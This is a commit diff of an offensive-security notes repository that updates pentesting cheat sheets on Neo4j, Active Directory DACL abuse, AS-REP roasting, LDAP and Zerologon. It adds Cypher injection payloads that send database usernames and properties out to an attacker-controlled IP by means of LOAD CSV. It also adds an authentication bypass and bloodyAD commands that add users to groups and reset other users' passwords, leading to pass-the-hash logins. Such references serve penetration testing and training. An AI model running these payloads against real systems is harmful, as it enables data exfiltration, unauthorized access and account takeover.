Skip to content

Commit 3c72d22

Browse files
committed
updated Neo4j pentesting
1 parent 333590b commit 3c72d22

File tree

6 files changed

+37
-76
lines changed

6 files changed

+37
-76
lines changed

src/exploit/database/neo4j-pentesting.md

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ tags:
77
refs:
88
- https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
99
- https://pentester.land/blog/cypher-injection-cheatsheet/
10-
date: 2023-04-27
10+
date: 2025-04-19
1111
draft: false
1212
---
1313

@@ -17,17 +17,14 @@ draft: false
1717
neo4j:neo4j
1818
```
1919

20-
<br />
21-
2220
## Common Directories & Files in Local System
2321

2422
```bash
23+
/etc/neo4j
2524
/var/lib/neo4j
2625
/var/log/neo4j
2726
```
2827

29-
<br />
30-
3128
## Cypher Injection
3229

3330
Before injecting payloads, we need to start local web server to fetch the result of the query.
@@ -36,9 +33,8 @@ Before injecting payloads, we need to start local web server to fetch the result
3633
sudo python3 -m http.server 80
3734
```
3835

39-
Below are payloads.
40-
41-
In some payloads, replace **`10.0.0.1`** with your ip address.
36+
And then below are payloads.
37+
In some payloads, replace **`10.0.0.1`** with your local ip address.
4238

4339
```html
4440
<!-- Get Neo4j version -->
@@ -49,4 +45,12 @@ In some payloads, replace **`10.0.0.1`** with your ip address.
4945

5046
<!-- Get properties of the key -->
5147
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.0.1/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
52-
```
48+
49+
<!-- Authentication Bypass -->
50+
' OR 1=1 WITH 1 as a MATCH (n) WHERE n.name = "admin" and n.password = 1 OR 1=1 RETURN n LIMIT 0; //
51+
52+
<!-- Get username (assume that the label name is 'User') -->
53+
' OR 1=1 WITH 1 as a MATCH (u:User) LOAD CSV FROM 'http://10.0.0.1/?value=' + toString(u.name) as l RETURN 0 as _0; //
54+
```
55+
56+
For more detailed cheat sheet, see [Cypher Injection Cheat Sheet](https://pentester.land/blog/cypher-injection-cheatsheet/#authentication-bypass).

src/exploit/network/attack/dos-ddos-attack.md

Lines changed: 0 additions & 57 deletions
This file was deleted.

src/exploit/windows/active-directory/as-rep-roasting.md

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Active Directory
66
- Windows
77
refs:
8-
date: 2025-03-17
8+
date: 2025-04-19
99
draft: false
1010
---
1111

@@ -34,5 +34,3 @@ john --format=krb5asrep --wordlist=wordlist.txt hash.txt
3434
hashcat -m 18200 -a 0 hash.txt wordlist.txt
3535
```
3636

37-
Also, we can use it to **Pass-The-Hash** attack.
38-

src/exploit/windows/active-directory/dacl-attack.md

Lines changed: 19 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ tags:
77
refs:
88
- https://www.thehacker.recipes/a-d/movement/dacl
99
- https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
10-
date: 2025-03-17
10+
date: 2025-04-19
1111
draft: false
1212
---
1313

@@ -62,6 +62,8 @@ pip3 install -r requirements.txt
6262
python3 examples/dacledit.py --help
6363
```
6464

65+
Note: This repository is updated frequently so errors may occur. If so, try using the `git log` and `git checkout <prev_commit_id>` commands to revert to the previous commit and then run it.
66+
6567
Then run the following command:
6668

6769
```bash
@@ -87,8 +89,10 @@ After adding rights, we can abuse it with various methods.
8789
### Method 1. Add User to Group → Get TGT → Get NT Hash
8890

8991
```bash
90-
# 1. Add user to a specific group
91-
bloodyAD --host <target-ip> -u <username> -p <password> add groupMember <group> <username>
92+
# 1. Add user to a specific group (replace the group distinguished name with your target)
93+
bloodyAD --host <target-ip> -u <username> -p <password> add groupMember 'CN=Example Group,CN=Users,DC=EXAMPLE,DC=LOCAL' <username>
94+
# with Kerberos auth (-k)
95+
bloodyAD --host <target-ip> -u <username> -k add groupMember 'CN=Example Group,CN=Users,DC=EXAMPLE,DC=LOCAL' <username>
9296

9397
# 2. Add the target user to a privileged group
9498
python3 pywhisker.py -d example.local -u <username> -p <password> --target <target-username> --action add
@@ -104,3 +108,15 @@ python3 getnthash.py example.local/<target-username> -key <key>
104108
# 5. Login with the retrieved NT hash
105109
evil-winrm -i <target-ip> -u <target-username> -H <nt-hash>
106110
```
111+
112+
### Method 2. Set Password of Another User
113+
114+
If an user have the permission to set another user password, we can change the password:
115+
116+
```bash
117+
bloodyAD --host <target-ip> -u <username> -p <password> set password '<target-username>' '<new-password>'
118+
# with Kerberos auth (-k)
119+
bloodyAD --host <target-ip> -u <username> -k set password '<target-username>' '<new-password>'
120+
```
121+
122+
After that, we can try further attacks using this user.

src/exploit/windows/active-directory/ldap-pentesting.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Active Directory
66
- Windows
77
refs:
8-
date: 2025-03-17
8+
date: 2025-04-19
99
draft: false
1010
---
1111

@@ -20,7 +20,7 @@ nmap --script "ldap* and not brute" -p 389 <target-ip>
2020

2121
# NetExec
2222
# -k: Use Kerberos authentication
23-
netexec ldap <target-ip> -u usernames.txt -p '' -k
23+
netexec ldap <target-ip> -u usernames.txt -k
2424
# --trusted-for-delegation: Enumerate computers and users with the flag `TRUSTED_FOR_DELEGATION`
2525
# reference: https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties#property-flag-descriptions
2626
netexec ldap <target-ip> -u username -p password --trusted-for-delegation

src/exploit/windows/active-directory/netlogon-elavasion-of-privilege.md renamed to src/exploit/windows/active-directory/netlogon-elevasion.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
---
2-
title: Netlogon Elavasion of Privilege
2+
title: Netlogon Elevasion
33
description: It is a vulnerability to elevate of privilege in Windows Netlogon using the Netlogon Remote Protocol (MS-NRPC). It’s called Zerologon (CVE-2020-1472).
44
tags:
55
- Active Directory
66
- Windows
77
refs:
8-
date: 2023-02-08
8+
date: 2025-04-19
99
draft: false
1010
---
1111

0 commit comments

Comments
 (0)